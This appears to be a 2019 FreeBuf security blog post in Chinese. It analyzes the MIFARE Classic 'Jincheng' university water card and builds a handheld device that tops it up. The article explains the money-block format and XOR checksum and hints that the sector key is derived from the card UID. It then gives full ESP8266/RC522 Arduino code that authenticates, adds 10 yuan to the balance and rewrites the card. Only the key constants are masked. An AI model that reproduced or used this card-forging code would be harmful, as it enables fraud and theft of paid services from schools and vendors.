freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

金诚卡算法分析及自制硬件测试设备
2019-03-29 10:00:18

*本文内容仅用于技术讨论,严禁用于任何违法用途。

一、引言

金诚卡这个东西说熟悉的人很熟悉,说不熟悉的人压根就没见过,国内有很多高校都用这款水卡。 这款水卡有两个版本,下图是旧版本的金诚卡(非全加密),另一个版本长的比这个丑(全加密)。虽然全加密和非全加密感觉安全性改善了很多,但是由于其加密密钥,加密方法并没有变化所以还是可以通过旧卡分析出来算法。当然完全可以通过 mfcuk 得到完整的密钥,实现通用修改毕竟算法并没有改变。

二、卡内数据结构一览

首先我们看一下旧卡的(非全加密卡),通过几张卡对比就能发现是一卡一密。

旧卡是12扇区有数据,新卡的话也是12扇区有数据,但是在别的扇区也增加了一些个人信息的数据(估计是如果有人破解了好抓人)。可以看到只有12扇区的KEYA不是默认密钥,其余均为默认密钥。于是我们学校好多人就动起了歪心思。毕竟acr122u这种设备已经泛滥,也不管三七二十一就克隆写入到白卡开始卖(也不分析下卡的数据),然后一个个全被抓(该!)。而新卡为全加密,数据的扇区和块均保持不变。但是密钥的算法还是保持不变的。

Ps.上面这个数据是我在网上收集的,还修改了涉及到学校代码的信息。

三、金钱区块算法分析

12扇区0块为金钱值,通过最没有技术含量的对比法分析哪个位置是金钱的。所以可以得到第5、6、7组 是明显变化的。所以判断这三个和金钱有关。

01 15 02 00 21 86 B1 F1 FFFFFFFFFFFFFFFF
01 15 02 00 21 85 B2 F1 FFFFFFFFFFFFFFFF
01 15 02 00 21 84 B3 F1 FFFFFFFFFFFFFFFF

但是之前还有01 15 02 这三个代码,考研报名的时候就经常见到这个代码(本文代码是假的)。这摆明了就是学校的代码嘛。合着水卡的信息还包含学校代码。

21 86从十六进制转换成10进制,竟然和卡里的钱数*100后一样,所以5 6组就是金钱的位置。那么第七组就是校检位了,防止篡改数据。想想Ic卡最常见的校检方法,结果还是2位。于是我推测是每一组每一组进行异或运算。果真01^15^02^00^21^86的结果是B1。原来学校代码的作用是这个啊,防止跨校买水么。于是此阶段水卡的金钱扇区就解密了。

四、一卡一密解密

这部分不敢太详细说,怕教坏别人。但是通过金钱区块的分析得到生成校检位的是异或运算。那么KEYA是不是也是通过异或得到的?还有为什么KEY结尾四位都是固定的?前面8位变化?uid也是8位?是不是KEYA是根据UID计算出来的+固定值?异或好像是可逆运算啊!这段就说到这里了。

五、大头来了,自制硬件设备

有了KEYA计算规则,还有校检生成方法。可以完美的对任何一张水卡进行充值了(包括新卡,因为除了全加密了其余并没有改变)。

硬件设备包括:

0.96的OLED一个 (i2c)

esp8266nodemcu v1.0 的开发版一个

Rc522模块一个 (spi)

其实本来想用arduino的,但是手头有个不用的esp8266就干脆用上了,把它看作arduino就行了。接线按照下图接入spi和i2c就行了,没啥难的。(主要是我画的电路图太丑了 拿不出手)下图是esp8266的引脚定义,如果你也用esp8266那么可以参照这个。

我自己接完之后长这样。背面我就不拍照了,太丑了,焊工渣死。

代码如下,请注意看注释:

#include <Adafruit_GFX.h>
#include <Adafruit_ssd1306syp.h>
#include <SPI.h>
#include <MFRC522.h>
#include <Adafruit_ssd1306syp.h>
#define SDA_PIN          4  //定义oled的data
#define SCL_PIN          5  //定义oled的clock
#define RST_PIN         10  // 定义rc522的rst
#define SS_PIN          15  //定义rc522的ss   (其余的就参照spi和i2c对应的引脚就行了 rc522的RQ悬空 不用接)

MFRC522 mfrc522(SS_PIN, RST_PIN);   //  创建MFRC522实例
Adafruit_ssd1306syp display(SDA_PIN, SCL_PIN); //创建oled显示实例
MFRC522::MIFARE_Key keyA;

/**
   Initialize.
*/
void setup() {
  delay(1000);
  display.initialize();
  Serial.begin(9600);  
  while (!Serial);     
  SPI.begin();         
  mfrc522.PCD_Init(); 
  pinMode(D0, OUTPUT);  //这个是设置板载的LED为输出端口
  digitalWrite(D0, HIGH); //这个LED高电平亮低电平灭 所以拉高。
  display.setTextSize(3); //欢迎界面
  display.setTextColor(WHITE);
  display.println("WELCOM");
  display.update();
  delay(3000);
}

/**
   Main loop.
*/
void loop() {

  display.clear();//清空显示
  //寻找新卡
  if ( ! mfrc522.PICC_IsNewCardPresent()) {


    return;
  }
  //选择一个卡
  if ( ! mfrc522.PICC_ReadCardSerial())
  {


    return;
  }
//读取uid并byte2string
  String UID = "";
  for (byte i = 0; i < mfrc522.uid.size; i++) {
    UID.concat(String(mfrc522.uid.uidByte[i], HEX));
  }
  UID.toUpperCase();
  display.setTextSize(2);
  display.setTextColor(WHITE);
  display.setCursor(0, 0);
  display.println(UID);


  //计算key 这块结合着前面看,已经很清晰的知道怎么计算KEYA了
  keyA.keyByte[0] = mfrc522.uid.uidByte[0] ^ 0x**;
  keyA.keyByte[1] = mfrc522.uid.uidByte[1] ^ 0x**;
  keyA.keyByte[2] = mfrc522.uid.uidByte[2] ^ 0x**;
  keyA.keyByte[3] = mfrc522.uid.uidByte[3] ^ 0x**;
  keyA.keyByte[4] = 0x**;
  keyA.keyByte[5] = 0x**;
  String KEY = "";
  for (byte i = 0; i <  6; i++) {
    KEY.concat(String( keyA.keyByte[i], HEX));
  }
  KEY.toUpperCase();
  //display.print("KEY:");
  // display.println(KEY);
  //display.update();

  byte sector         = 12;          //扇区
  byte blockAddr      = 48;          //扇区开始块  金额地址
  MFRC522::StatusCode status;  //状态码
  byte buffer[18];
  byte size = sizeof(buffer);

 
  //  在trailerBlock块中 使用身份验证密钥A
  Serial.println(F("Authenticating using key A..."));
  status = (MFRC522::StatusCode) mfrc522.PCD_Authenticate(MFRC522::PICC_CMD_MF_AUTH_KEY_A, blockAddr, &keyA, &(mfrc522.uid));
  if (status != MFRC522::STATUS_OK) { //如果状态!=成功
    display.println("failed");
    display.println(mfrc522.GetStatusCodeName(status)); //输出状态
    return;
  }


  //输出指定扇区当前内容
  status = (MFRC522::StatusCode) mfrc522.MIFARE_Read(blockAddr, buffer, &size);
  if (status != MFRC522::STATUS_OK) { //如果读取错误输出错误信息
    display.println("failed");
    display.println(mfrc522.GetStatusCodeName(status)); //输出状态
  }

  int IntMoney = buffer[5] | buffer[4] << 8; //byte2int
  display.print("old:");
  display.println(IntMoney / 100.0);

  IntMoney = IntMoney + 1000;
  buffer[4] = IntMoney >> 8;
  buffer[5] = IntMoney;

  int IntMoney1 = buffer[5] | buffer[4] << 8; //int2byte
  buffer[6] = buffer[0] ^ buffer[1] ^ buffer[2] ^ buffer[3] ^ buffer[4] ^ buffer[5]; //计算校检位


  status = (MFRC522::StatusCode) mfrc522.MIFARE_Write(blockAddr, buffer, 16);
  if (status != MFRC522::STATUS_OK) {  //如果写入失败返回错误状态码
    display.println("failed");
    display.println(mfrc522.GetStatusCodeName(status)); //输出状态
  }
//再读一遍 显示读取后的钱
  status = (MFRC522::StatusCode) mfrc522.MIFARE_Read(blockAddr, buffer, &size);
  if (status != MFRC522::STATUS_OK) { //如果读取错误输出错误信息
    display.println("failed");
    display.println(mfrc522.GetStatusCodeName(status)); //输出状态
  }

  IntMoney = buffer[5] | buffer[4] << 8;  //
  display.print("new:");
  display.println(IntMoney / 100.0);

  mfrc522.PICC_HaltA();
  // Stop encryption on PCD
  mfrc522.PCD_StopCrypto1();

  display.update();
  digitalWrite(D0, LOW);
  delay(500);
  digitalWrite(D0, HIGH);



} 

这是烧录后的效果,测试效果是刷一次增加10元,下一步准备把wifi利用上,毕竟不能浪费了wifi功能。最后,请大家不要利用本文干坏事哟!

*本文原创作者:包子no,未经许可禁止转载

# 金诚卡 # 自制硬件
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者